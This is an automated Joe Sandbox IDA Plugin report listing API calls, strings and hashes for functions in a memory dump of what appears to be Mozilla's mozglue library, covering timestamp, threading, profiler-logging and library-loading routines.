Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>^l
API String ID: 2721933968-2678502030
Opcode ID: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction ID: b237d2fdcfbdf3c97cbb2410b6f3dd2c5a2415732a7c14bb23d275ac6f3677f8
Opcode Fuzzy Hash: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction Fuzzy Hash: 825186B1E00115ABDF00DBA9DC84AEFBBB9EF89264F140125E815F7741E735AD048BA6

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

<none>, xrefs: 6C5EDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD918
GetCurrentThreadId.KERNEL32 ref: 6C5FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD970
GetCurrentThreadId.KERNEL32 ref: 6C5FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5FDA91

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FDAB7

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction ID: 0333c6d4635f4cfa9c4fa3057f66bd47a8ba1734822a21bcf81730c905ac5048
Opcode Fuzzy Hash: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction Fuzzy Hash: 5271A935604304DFCB04DF29C888A9ABBB5FF89354F158569E85A9B301DB34A845CFA5

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

MOZ_CRASH(), xrefs: 6C5A2000
\bl, xrefs: 6C5A1F3E
Dbl, xrefs: 6C5A1F32
Dbl, xrefs: 6C5A1F56

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

timeline-memory, xrefs: 6C5E9088
timeline-ipc, xrefs: 6C5E9096
timeline-overview, xrefs: 6C5E907A
marker-table, xrefs: 6C5E906C
marker-chart, xrefs: 6C5E905E
data, xrefs: 6C5E90E8
name, xrefs: 6C5E8F16
stack-chart, xrefs: 6C5E90B2
timeline-fileio, xrefs: 6C5E90A4

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
